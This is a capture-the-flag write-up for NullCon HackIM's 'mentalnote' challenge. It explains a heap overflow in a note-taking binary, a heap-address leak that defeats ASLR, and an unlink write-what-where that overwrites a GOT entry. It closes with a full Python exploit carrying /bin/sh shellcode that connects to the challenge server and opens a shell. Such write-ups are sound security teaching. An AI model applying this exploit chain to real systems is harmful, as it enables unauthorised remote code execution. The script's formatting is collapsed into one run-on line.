mentalnote was a 400 point exploitation-type challenge in NullCon’s HackIM CTF.
Again, superkojiman started with the invaluable initial reverse engineering. The application is a note-taking program:
1234567891011
~/tmp/nullcon/exp400$ ./MentalNote
You want to store some Notes??
Well, we present you the Sherlock's MentalPad -->
Sherlock uses Mental Notes to solve the Cases -- Now you can use it too.
NOTE: It has a limit though
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
superkojiman pointed out that there were two types of notes. Upon adding a note, the program asks for the type. It looks like the second type is larger. By editing a note as type two, we are able to overflow notes into the next note’s meta-data.
First, let’s allocate two notes and set them to something to inspect the heap layout.
You want to store some Notes??
Well, we present you the Sherlock's MentalPad -->
Sherlock uses Mental Notes to solve the Cases -- Now you can use it too.
NOTE: It has a limit though
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
1
Give the type of the Note:
1
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
1
Give the type of the Note:
1
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
3
Give the Note id to edit:
0
Give the type to edit:
2
Give your Note:
AAAA
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
3
Give the Note id to edit:
1
Give the type to edit:
2
Give your Note:
BBBB
Please enter one of the following option:
I located the second note in the heap using gdb-peda’s find command.
You can see that there are several pointers stored on the heap. It looks like a doubly-linked list, with pointers to the next and previous notes. The struct that describes this layout would look something like this:
The heap is writeable and executable. This allows us to store shellcode on the heap. Now to find a way to get the heap address reliably (ASLR is enabled) and overwrite a GOT pointer with the location of our shellcode.
I recently tested c0ne’s binaries for his Pandora’s Box VM. I did one of the challenges in a similar way: overflow a buffer up to a certain pointer to grab extra bytes when that buffer is printed. I could leak the heap address by sending just enough bytes into note one to make the heap look like this:
When I know requested the value of note one, the binary would dump out lots of B’s, but also append the pointers from the heap! With that sorted, I could find my shellcode on the heap even with ASLR enabled. Next was overwriting a GOT pointer. This was done by overflowing a note and overwriting the pointers to next_note and prev_note. Then I’d ask the binary to delete a note. It does this by calling free(). Because we can control the two pointers, we have a write-what-where primitive. By setting the right values, I could write the address of the shellcode on the heap to __isoc99_scanf@got.plt. Initially, I swapped the two memory addresses around, leading to mangled shellcode. After overwriting the GOT pointer of __isoc99_scanf@got.plt, which is one of the next functions the binary calls in its main loop, the shellcode on the heap is executed. Because of the way free() works, we need to adjust the addresses a bit.
The shellcode was modified a bit (‘/bin/ash’ -> ‘/bin//sh’) and stored on the heap. The overflow was used to overwrite the two pointers, and the write-what-where is triggered by sending a ‘delete note’ command.
importstructimportsocketimporttimeimportres=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('54.163.248.69',9004))s.recv(1000)time.sleep(0.5)defp(x):returnstruct.pack('<L',x)payload="1\n1\n1\n1\n"# create two notes of type onepayload+="3\n0\n2\n"# edit note 0 as type twos.send(payload)time.sleep(0.5)# overflow note to line up to heap pointers.send("A"*212+"BBB\n")time.sleep(0.5)s.recv(256)# leak heap addrprint"[+] Trying to leaking heap address..."time.sleep(0.5)s.send("4\n0\n")time.sleep(0.5)data=s.recv(1000)# ugly.. but works :/m=re.search(r'.*BBB\n(....).*',data)ifm:heap=struct.unpack('<L',m.group(1))[0]print"[+] Leaked heap address at {}".format(hex(heap))# offset for shellcode found empirically via gdbshellcode=heap-0xd0print"[+] Shellcode at {}".format(hex(shellcode))else:print"[!] Fatal: could not leak heap address"exit(0)time.sleep(0.5)print"[+] Sending new notes to overwrite got pointer..."s.send("1\n1\n1\n1\n")# create two more notestime.sleep(0.5)s.recv(1000)# send new note to overflow pointerss.send("3\n2\n2\n")time.sleep(0.5)s.recv(1000)time.sleep(0.5)payload=""sc="\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"# prepend shellcode with a little NOP sledpayload+="\x90"*(212-len(sc))payload+=sc# overwrite note_info structpayload+=p(0x804b024-8)# __isoc99_scanf@got.plt-8payload+=p(shellcode)# heap location of shellcodepayload+="\n"s.send(payload)# request deletion of a note, triggering our write-what-where# we overwrite a function pointer in the got with the location# of our shellcodetime.sleep(0.5)s.send("2\n3\n")time.sleep(0.5)s.recv(512)# shell incoming!print"[+] Enjoy your shell!"importtelnetlibt=telnetlib.Telnet()t.sock=st.interact()s.close()